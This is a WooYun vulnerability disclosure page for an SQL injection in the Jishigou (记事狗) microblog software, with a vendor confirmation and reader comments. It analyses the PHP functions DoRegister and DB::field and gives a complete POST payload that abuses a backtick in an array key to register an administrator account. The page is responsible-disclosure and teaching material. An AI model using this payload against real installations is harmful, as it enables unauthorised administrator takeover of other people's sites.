当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2013-43311

漏洞标题: 记事狗微博全版本SQL注入漏洞可直接注册管理员2

相关厂商: 杭州神话

漏洞作者: Chora认证白帽子

提交时间: 2013-11-19 11:45

公开时间: 2014-02-17 11:46

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-19: 细节已通知厂商并且等待厂商处理中
2013-11-19: 厂商已经确认,细节仅向厂商公开
2013-11-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-01-13: 细节向核心白帽子及相关领域专家公开
2014-01-23: 细节向普通白帽子公开
2014-02-02: 细节向实习白帽子公开
2014-02-17: 细节向公众公开

简要描述:

每个月总有那么几天会发几个。

详细说明:

这次的问题依然是一个通用函数,而且涉及面比较广,用到该函数的全部存在注入。。。好好改改。

因为密码有salt,所以爆管理账号密码意义不大,直接在注册的页面注射成管理员。

wap/modules/member.mod.php

code 区域
function DoRegister() 
{
if(MEMBER_ID != 0 AND false == $this->IsAdmin)
{
$this->Messager('您已经是注册用户,无需再注册!', -1);
}

......

$this->Post = array_iconv('UTF-8', $this->Config['charset'], $this->Post);
$password = $this->Post['password']; //密码
$email = $this->Post['email']; //email
$username = $nickname = $this->Post['nickname']; //用户名


if(strlen($password) < 5)
{
$this->Messager("密码过短,请设置至少5位",-1);
}



$uid = jsg_member_register($nickname, $password, $email);//注册,不是关键函数,步过。
if($uid < 1)
{
$regconf = ConfigHandler::get('register');
$rets = array(
'0' => '【注册失败】有可能是站点关闭了注册功能',
'-1' => '帐户/昵称 不合法,含有不允许注册的字符,请尝试更换一个。',
'-2' => '帐户/昵称 不允许注册,含有被保留的字符,请尝试更换一个。',
'-3' => '帐户/昵称 已经存在了,请尝试更换一个。',
'-4' => 'Email 不合法,请输入正确的Email地址。',
'-5' => 'Email 不允许注册,请尝试更换一个。',
'-6' => 'Email 已经存在了,请尝试更换一个。',
'-7' => '您的IP地址 ' . $GLOBALS['_J']['client_ip'] . ' 已经被限制注册了(一个IP地址 '.$regconf['time_html'].' 之内,最多只能注册 '.$regconf['limit'].' 个用户),请稍后再试或联系管理员',
);

$this->Messager($rets[$uid], null);
}


$datas = array();
$datas['uid'] = $uid;
$datas['province'] = $this->Post['province']; $datas['city'] = $this->Post['city']; if($this->_sms_register())
{
$datas['phone'] = $sms_bind_num;
}

jtable('members')->update($datas);//跟进0x01
......
}



include/function/global.func.php 0x01

code 区域
static function update($table, $data, $condition, $unbuffered = false, $low_priority = false)
{
$sql = DB::field($data); //问题出在自定义field函数上,跟进
$cmd = "UPDATE ".($low_priority ? 'LOW_PRIORITY' : '');
$table = DB::table($table);
$res = DB::query("$cmd $table SET $sql ".DB::where($condition), $unbuffered ? 'UNBUFFERED' : '');
return $res;
}

static function field($array, $glue = ',', $is_where=0) {
$sql = $comma = '';

foreach ($array as $k => $v) {
$s = '';

if(is_array($v)) {//遍历传递过来的数组的值,检查每一个值是否为数组,是数组则往下执行。

$g = $v['glue'];把键名为glue的数组的值赋值给$g
if($g) {
$kk = ($v['key'] ? $v['key'] : $k); //把键名为key的数组的值赋值给$kk
$vv = $v['val'];//把键名为vlue的数组的值赋值给$vv
switch ($g) {//$g就是符号,我们构造$g为等号,也就是构造$v['glue']的值为=号。
case '=':
case '>':
case '<':
case '<>':
case '>=':
case '<=':
$s = "`{$kk}`{$g}'{$vv}'"; /*$kk的值,$vv的值都需要构造,我们虽然不能引入单引号,但是我们能引入反引号,反引号不受GPC的限制,$kk在反引号内,而且$kk我们可控。所以只要用到了这个field函数,随便找一个我们能控制的域,把他以数组的方式提交即可。比如:$_POST['str']这个域,我们提交:str[glue]==&str[val]=endvlue&str[key]=beginkey`=beginvalue,`endkey
就成了
`beginkey`=beginvalue,`endkey`='endvlue'
关键点就在于这个str[key]闭合反引号
比如我的这个例子注册管理员,需要role_id=2,role_type=admin
我们提交province[glue]==&province[val]=admin&province[key]=role_id`=2,`role_type
即可
*/

break;
case '-':
case '+':
case '|':
case '&':
case '^':
$s = "`{$kk}`=`{$kk}`{$g}'{$vv}'";
break;
case 'like':
$s = "`{$kk}` LIKE('{$vv}')";
break;
case 'in':
case 'notin':
$s = "`{$kk}`".('notin'==$g ? ' NOT' : '')." IN(".jimplode($vv).")";
break;
default:
exit("glue $g is invalid");
}
} else {
if($is_where) {
$s = "`{$k}` IN(".jimplode($v).")";

}
}
} else {
$s = "`{$k}`='$v'";
}

if($s) {
$sql .= $comma . $s;
$comma = $glue;
}
}

return $sql;
}



POST提交

password=123456&nickname=test1test&email=test1test@**.**.**.**&province[glue]==&province[val]=admin&province[key]=role_id`=2,`role_type



http://localhost/jishigou/wap/?mod=member&code=doregister

即可注册管理员。

漏洞证明:

1.png

2.png

3.png

4.png

修复方案:

继续求包养。

版权声明:转载请注明来源 Chora@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2013-11-19 11:54

厂商回复:

非常感谢 Chora@乌云 的反馈,这个问题影响到V4.x版本,已经有发布补丁包修复了 http://t.jishigou.net/topic/250858

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-11-19 12:12 | Chora 认证白帽子 ( 普通白帽子 | Rank:377 漏洞数:25 | 生存、生活、生命。)
    1

    @杭州神话 我想问下贵站的最新补丁为何不打包到源码安装包里面,白忙活啊。

  2. 2014-04-18 15:50 | evil_webshell ( 路人 | Rank:0 漏洞数:2 | 致力于web层面的安全,热爱黑客技术,正在...)
    0

    学习了,分析的很到位。不错支持了

  3. 2014-09-08 20:40 | winston ( 实习白帽子 | Rank:46 漏洞数:7 | nothing)
    0

    很好奇楼主使用的ff插件是什么?不知道能否告诉 一下?

  4. 2016-01-21 21:21 | 武器大师 ( 路人 | Rank:20 漏洞数:7 | 梦想成为挖洞大师)
    0

    居然rank1 也是6

登录后才能发表评论,请先 登录